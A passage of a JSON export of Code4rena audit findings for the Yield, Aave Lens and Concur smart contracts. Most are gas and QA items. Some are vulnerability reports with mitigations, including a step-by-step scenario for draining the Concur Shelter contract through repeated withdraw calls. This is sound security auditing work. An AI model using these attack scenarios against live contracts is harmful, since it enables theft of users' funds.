quote, 113: uint256 baseAmount 114: ) private view returns (uint256 quoteAmount, uint256 updateTime) { 115: require( 116: (base == ethId && quote == cvx3CrvId) || // @audit-info ethId SLOAD 1, cvx3CrvId SLOAD 1 117: (base == cvx3CrvId && quote == ethId), // @audit-info ethId SLOAD 2, cvx3CrvId SLOAD 2 118: \"Invalid quote or base\" 119: ); 120: (, int256 daiPrice, , , ) = DAI.latestRoundData(); 121: (, int256 usdcPrice, , , ) = USDC.latestRoundData(); 122: (, int256 usdtPrice, , , ) = USDT.latestRoundData(); 123: 124: require( 125: daiPrice > 0 && usdcPrice > 0 && usdtPrice > 0, 126: \"Chainlink pricefeed reporting 0\" 127: ); 128: 129: // This won't overflow as the max value for int256 is less than the max value for uint256 130: uint256 minStable = min( 131: uint256(daiPrice), 132: min(uint256(usdcPrice), uint256(usdtPrice)) 133: ); 134: 135: uint256 price = (threecrv.get_virtual_price() * minStable) / 1e18; 136: 137: if (base == cvx3CrvId && quote == ethId) { // @audit-info ethId SLOAD 3, cvx3CrvId SLOAD 3 138: quoteAmount = (baseAmount * price) / 1e18; 139: } else { 140: quoteAmount = (baseAmount * 1e18) / price; 141: } 142: 143: updateTime = block.timestamp; 144: } ``` By caching `ethId` and `cvx3CrvId` in memory, it's possible to save 4 SLOADs (~400gas) at the cost of 2 MSTOREs (6 gas) and 4 MLOADs (12 gas) ## Tools Used VS Code ## Recommended Mitigation Steps Cache `ethId` and `cvx3CrvId` in variables and use these instead "}, {"title": "Gas in `ConvexStakingWrapper.sol:_calcRewardIntegral()`: `bal - rewardRemaining` can't underflow", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/67", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost due to unnecessary automatic underflow checks. Solidity version 0.8+ comes with implicit overflow and underflow checks on unsigned integers. When an overflow or an underflow isn't possible (as an example, when a comparison is made before the arithmetic operation, or the operation doesn't depend on user input), some gas can be saved by using an `unchecked` block. https://docs.soliditylang.org/en/v0.8.10/control-structures.html#checked-or-unchecked-arithmetic ## Proof of Concept In `ConvexStakingWrapper.sol:_calcRewardIntegral()`, `bal - rewardRemaining` can't underflow at line 222 as the conditional statement line 221 prevents it: ``` File: ConvexStakingWrapper.sol 221: if (_supply > 0 && (bal - rewardRemaining) > 0) { 222: rewardIntegral = uint128(rewardIntegral) + uint128(((bal - rewardRemaining) * 1e20) / _supply); //@audit-info (bal - rewardRemaining) can't underflow because of above if statement ``` This substraction should get computed inside an `unchecked` block and stored in a variable, which would then be used in the checked calculation for `rewardIntegral`. ## Tools Used VS Code ## Recommended Mitigation Steps Uncheck arithmetic operations when the risk of underflow or overflow is already contained by wrapping them in an `unchecked` block "}, {"title": "Gas: Unused Named Returns", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/60", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Gas: Unused Named Returns"}, {"title": "Gas: Tight variable packing in `ConvexStakingWrapper.sol`", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Solidity contracts have contiguous 32 bytes (256 bits) slots used in storage. By arranging the variables, it is possible to minimize the number of slots used within a contract's storage and therefore reduce deployment costs. ## Proof of Concept In `ConvexStakingWrapper.sol`, the order of variables is this way: ``` uint256 public cvx_reward_integral; uint256 public cvx_reward_remaining; mapping(address => uint256) public cvx_reward_integral_for; mapping(address => uint256) public cvx_claimable_reward; //constants/immutables address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public curveToken; address public convexToken; address public convexPool; address public collateralVault; uint256 public convexPoolId; //rewards RewardType[] public rewards; //management bool public isShutdown; bool private _status; bool private constant _NOT_ENTERED = false; bool private constant _ENTERED = true; ``` `address` type variables are each of 20 bytes size (way less than 32 bytes). However, they here take up a whole 32 bytes slot (they are contiguous). As `bool` type variables are of size 1 byte, there's a slot here that can get saved by moving them closer to an address ## Recommended Mitigation Steps I suggest the following (see the @audit-info tags for more details about what moved and why): ``` uint256 public cvx_reward_integral; uint256 public cvx_reward_remaining; mapping(address => uint256) public cvx_reward_integral_for; mapping(address => uint256) public cvx_claimable_reward; //constants/immutables uint256 public convexPoolId; //@audit-info this moved up to free collateralVault's slot. address public constant convexBooster = address(0xF403C135812408BFbE8713b5A23a04b3D48AAE31); address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address public constant cvx = address(0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B); address public curveToken; address public convexToken; address public convexPool; address public collateralVault; //@audit-info this got freed from convexPoolId. Slot N is at 20/32 here //management bool public isShutdown; //@audit-info this moved up. Slot N is full at 21/32 here bool private _status; //@audit-info this moved up. Slot N is full at 22/32 here bool private constant _NOT_ENTERED = false; //@audit-info this moved up but doesn't take a slot as it's constant bool private constant _ENTERED = true; //@audit-info this moved up but doesn't take a slot as it's constant //rewards RewardType[] public rewards; ``` "}, {"title": "Gas: `> 0` is less efficient than `!= 0` for unsigned integers", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/57", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-01-yield-findings", "body": "Gas: `> 0` is less efficient than `!= 0` for unsigned integers"}, {"title": "Gas: No need to initialize variables with default values", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/56", "labels": ["bug", "G (Gas Optimization)", "resolved"], "target": "2022-01-yield-findings", "body": "Gas: No need to initialize variables with default values"}, {"title": "Typos", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/54", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Typos"}, {"title": "caching curveToken in memory can cost less gas", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/49", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle Funen # Vulnerability details https://github.com/code-423n4/2022-01-yield/blob/main/contracts/ConvexStakingWrapper.sol#L94-L95 ``` IERC20(curveToken).approve(convexBooster, 0); IERC20(curveToken).approve(convexBooster, type(uint256).max); ``` `curveToken` was called mutiple times, caching it in `memory` , it can cost less gas "}, {"title": "Lack of important event", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/43", "labels": ["bug", "0 (Non-critical)", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact owner can change the source without any warning. ## Proof of Concept The method `Cvx3CrvOracle.setSource` should emit an event in order to be able to detect this call by dapps. ## Tools Used Manual review ## Recommended Mitigation Steps Emit an event "}, {"title": "Gas saving using immutable", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-01-yield-findings", "body": "Gas saving using immutable"}, {"title": "Unbounded loop on array can lead to DoS", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/36", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2022-01-yield-findings", "body": "Unbounded loop on array can lead to DoS"}, {"title": "Missing commenting", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/33", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Missing commenting"}, {"title": "Prefix increments are cheaper than postfix increments", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Prefix increments are cheaper than postfix increments"}, {"title": "Unnecessary array boundaries check when loading an array element twice", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/13", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Unnecessary array boundaries check when loading an array element twice"}, {"title": "Unused imports", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/8", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-yield-findings", "body": "Unused imports"}, {"title": "Race condition in approve()", "html_url": "https://github.com/code-423n4/2022-01-yield-findings/issues/6", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-yield-findings", "body": "Race condition in approve()"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/87", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Zero collection module can be whitelisted and set to a post, which will then revert all collects and mirrors with PublicationDoesNotExist", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/86", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "Zero collection module can be whitelisted and set to a post, which will then revert all collects and mirrors with PublicationDoesNotExist"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/84", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/80", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/75", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/74", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/73", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "missing whenNotPaused", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/71", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-aave-lens-findings", "body": "missing whenNotPaused"}, {"title": "It's possible to follow deleted profiles", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/70", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-aave-lens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/libraries/InteractionLogic.sol#L49 # Vulnerability details When someone tries to follow a profile, it checks if the handle exists, and if it doesn't, it reverts because the profile is deleted. The problem is that there might be a new profile with the same handle as the deleted one, allowing following deleted profiles. ## Proof of Concept Alice creates a profile with the handle \"alice.\" The profile id is 1. she deleted the profile. she opens a new profile with the handle \"alice\". The new profile id is 2. bob tries to follow the deleted profile (id is 1). the check ``` if (_profileIdByHandleHash[keccak256(bytes(handle))] == 0) revert Errors.TokenDoesNotExist(); ``` doesn't revert because there exists a profile with the handle \"alice\". Therefore bob followed a deleted profile when he meant to follow the new profile. ## Recommended Mitigation Steps change to: ``` if (_profileIdByHandleHash[keccak256(bytes(handle))] != profileIds[i]) revert Errors.TokenDoesNotExist(); ``` "}, {"title": "[WP-H3] Imprecise management of users' allowance allows the admin of the upgradeable proxy contract to rug users", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/68", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "[WP-H3] Imprecise management of users' allowance allows the admin of the upgradeable proxy contract to rug users"}, {"title": "[WP-M1] Inappropriate handling of `referralFee` makes collecting Mirror fails without error when `referrerProfileId` is burned", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/67", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "[WP-M1] Inappropriate handling of `referralFee` makes collecting Mirror fails without error when `referrerProfileId` is burned"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/64", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Collect modules can fail on zero amount transfers if treasury fee is set to zero", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/62", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-aave-lens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/FeeCollectModule.sol#L176 # Vulnerability details ## Impact Treasury fee can be zero, while collect modules do attempt to send it in such a case anyway as there is no check in place. Some ERC20 tokens do not allow zero value transfers, reverting such attempts. This way, a combination of zero treasury fee and such a token set as a collect fee currency will revert any collect operations, rendering collect functionality unavailable ## Proof of Concept Treasury fee can be set to zero: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/ModuleGlobals.sol#L109 Treasury fee transfer attempts are now done uncoditionally in all the collect modules. Namely, FeeCollectModule, LimitedFeeCollectModule, TimedFeeCollectModule and LimitedTimedFeeCollectModule do not check the treasury fee to be send, `treasuryAmount`, before transferring: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/FeeCollectModule.sol#L176 https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/LimitedFeeCollectModule.sol#L194 https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/TimedFeeCollectModule.sol#L190 https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/LimitedTimedFeeCollectModule.sol#L205 The same happens in the FeeFollowModule: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/follow/FeeFollowModule.sol#L90 ## References Some ERC20 tokens revert on zero value transfers: https://github.com/d-xo/weird-erc20#revert-on-zero-value-transfers ## Recommended Mitigation Steps Consider checking the treasury fee amount and do transfer only when it is positive. Now: ``` IERC20(currency).safeTransferFrom(follower, treasury, treasuryAmount); ``` To be: ``` if (treasuryAmount > 0) IERC20(currency).safeTransferFrom(follower, treasury, treasuryAmount); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/60", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/54", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/49", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Basis points constant BPS_MAX is used as minimal fee amount requirement", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/46", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-aave-lens-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/FeeCollectModule.sol#L72 # Vulnerability details ## Impact Base fee modules require minimum fixed fee amount to be at least BPS_MAX, which is hard coded to be 10000. This turns out to be a functionality restricting requirement for some currencies. For example, WBTC (https://etherscan.io/token/0x2260fac5e5542a773aa44fbcfedf7c193bc2c599, #10 in ERC20 token rankings), has decimals of 8 and current market rate around $40k, i.e. if you want to use any WBTC based collect fee, it has to be at least $4 per collect or fee enabled follow. Tether and USDC (https://etherscan.io/token/0xdac17f958d2ee523a2206206994597c13d831ec7 and https://etherscan.io/token/0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48, #1 and #3) have decimals of 6, so it is at least $0.01 per collect/follow, which also looks a bit tight for a hard floor minimum. ## Proof of Concept BPS_MAX is a system wide constant, now 10000: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/FeeModuleBase.sol#L17 https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/ModuleGlobals.sol#L20 This is correct for any fees defined in basis point terms. When it comes to the nominal amount, 10000 can be too loose or too tight depending on a currency used, as there can be various combinations of decimals and market rates. The following base collect module implementations require fee amount to be at least BPS_MAX (initialization reverts when amount < BPS_MAX): All collect module implementations use the same check: FeeCollectModule: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/FeeCollectModule.sol#L72 LimitedFeeCollectModule: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/LimitedFeeCollectModule.sol#L79 TimedFeeCollectModule: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/TimedFeeCollectModule.sol#L81 LimitedTimedFeeCollectModule: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/collect/LimitedTimedFeeCollectModule.sol#L86 FeeFollowModule also uses the same approach: https://github.com/code-423n4/2022-02-aave-lens/blob/main/contracts/core/modules/follow/FeeFollowModule.sol#L62 ## Recommended Mitigation Steps As a simplest solution consider adding a separate constant for minimum fee amount in nominal terms, say 1 or 10 "}, {"title": "Reentrancy allows commenter to overwrite own comments", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/45", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "Reentrancy allows commenter to overwrite own comments"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/41", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/40", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/39", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Ineffective Whitelist", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/30", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-aave-lens-findings", "body": "Ineffective Whitelist"}, {"title": "Name squatting", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/27", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-aave-lens-findings", "body": "Name squatting"}, {"title": "Profile creation can be frontrun", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "Profile creation can be frontrun"}, {"title": "Approvals not cleared when transferring profile", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/22", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "Approvals not cleared when transferring profile"}, {"title": "Cashback on referral", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-aave-lens-findings", "body": "Cashback on referral"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/18", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/17", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/16", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-aave-lens-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-aave-lens-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-aave-lens-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/265", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/263", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "During stake or deposit, users would not be rewared the correct Concur token, when MasterChef has under-supply of it.", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/262", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-02-concur-findings", "body": "During stake or deposit, users would not be rewared the correct Concur token, when MasterChef has under-supply of it."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/261", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/259", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/258", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/256", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/255", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/254", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/253", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Deposits after the grace period should not be allowed", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/251", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/Shelter.sol#L34 https://github.com/code-423n4/2022-02-concur/blob/main/contracts/Shelter.sol#L54 # Vulnerability details ## Impact Function donate in Shelter shouldn't allow new deposits after the grace period ends, when the claim period begins. Otherwise, it will be possible to increase savedTokens[_token], and thus new user claim amounts will increase after some users might already have withdrawn their shares. ## Recommended Mitigation Steps Based on my understanding, it should contain this check: ```solidity require(activated[_token] + GRACE_PERIOD > block.timestamp, \"too late\"); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/248", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/247", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Repeated Calls to Shelter.withdraw Can Drain All Funds in Shelter", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/246", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/Shelter.sol#L52-L57 # Vulnerability details ## Impact tl;dr Anyone who can call `withdraw` to withdraw their own funds can call it repeatedly to withdraw the funds of others. `withdraw` should only succeed if the user hasn't withdrawn the token already. The shelter can be used for users to withdraw funds in the event of an emergency. The `withdraw` function allows callers to withdraw tokens based on the tokens they have deposited into the shelter client: ConvexStakingWrapper. However, `withdraw` does not check if a user has already withdrawn their tokens. Thus a user that can `withdraw` tokens, can call withdraw repeatedly to steal the tokens of others. ## Proof of Concept tl;dr an attacker that can successfully call `withdraw` once on a shelter, can call it repeatedly to steal the funds of others. Below is a detailed scenario where this situation can be exploited. 1. Mallory deposits 1 `wETH` into `ConvexStakingWrapper` using [`deposit`](https://github.com/code-423n4/2022-02-concur/blob/shelter-client/contracts/ConvexStakingWrapper.sol#L280). Let's also assume that other users have deposited 2 `wETH` into the same contract. 2. An emergency happens and the owner of `ConvexStakingWrapper` calls `setShelter(shelter)` and `enterShelter([pidOfWETHToken, ...])`. Now `shelter` has 3 `wETH` and is activated for `wETH`. 3. Mallory calls `shelter.withdraw(wETHAddr, MalloryAddr)`, mallory will rightfully receive 1 wETH because her share of wETH in the shelter is 1/3. 4. Mallory calls `shelter.withdraw(wETHAddr, MalloryAddr)` again, receiving 1/3*2 = 2/3 wETH. `withdraw` does not check that she has already withdrawn. This time, the wETH does not belong to her, she has stolen the wETH of the other users. She can continue calling `withdraw` to steal the rest of the funds ## Tools Used Manual inspection. ## Recommended Mitigation Steps To mitigate this, `withdraw` must first check that `msg.sender` has not withdrawn this token before and `withdraw` must also record that `msg.sender` has withdrawn the token. The exact steps for this are below: 1. Add the following line to the beginning of `withdraw` (line 53): ``` require(!claimed[_token][msg.sender], \"already claimed\") ``` 2. Replace [line 55](https://github.com/code-423n4/2022-02-concur/blob/main/contracts/Shelter.sol#L55) with the following: ``` claimed[_token][msg.sender] = true; ``` This replacement is necessary because we want to record who is withdrawing, not where they are sending the token which isn't really useful info. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/245", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "Unconstrained fee", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/242", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-concur/blob/main/contracts/MasterChef.sol#L86-L101 # Vulnerability details ## Impact Token fee in `MasterChef` can be set to more than 100%, (for example by accident) causing all `deposit` calls to fail due to underflow on subtraction when reward is lowered by the fee, thus breaking essential mechanics. Note that after the fee has been set to any value, it cannot be undone. A token cannot be removed, added, or added the second time. Thus, mistakenly (or deliberately, maliciously) added fee that is larger than 100% will make the contract impossible to recover from not being able to use the token. ## Tools Used Manual analysis ## Recommended Mitigation Steps On setting fee ensure that it is below a set maximum, which is set to no more than 100%. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-concur-findings", "body": "QA Report"}, {"title": "Owner can steal Concur rewards", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/239", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-concur-findings", "body": "Owner can steal Concur rewards"}, {"title": "Owner can lock tokens in `MasterChef`", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/238", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-concur-findings", "body": "Owner can lock tokens in `MasterChef`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-concur-findings/issues/233", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-concur-findings", "body": "Gas Optimizations"}, {"title": "ConvexStakingWrapper deposits and withdraws will frequently be disabled if a token that doesn't allow zero value transfers will be added as a reward one", "html_url": 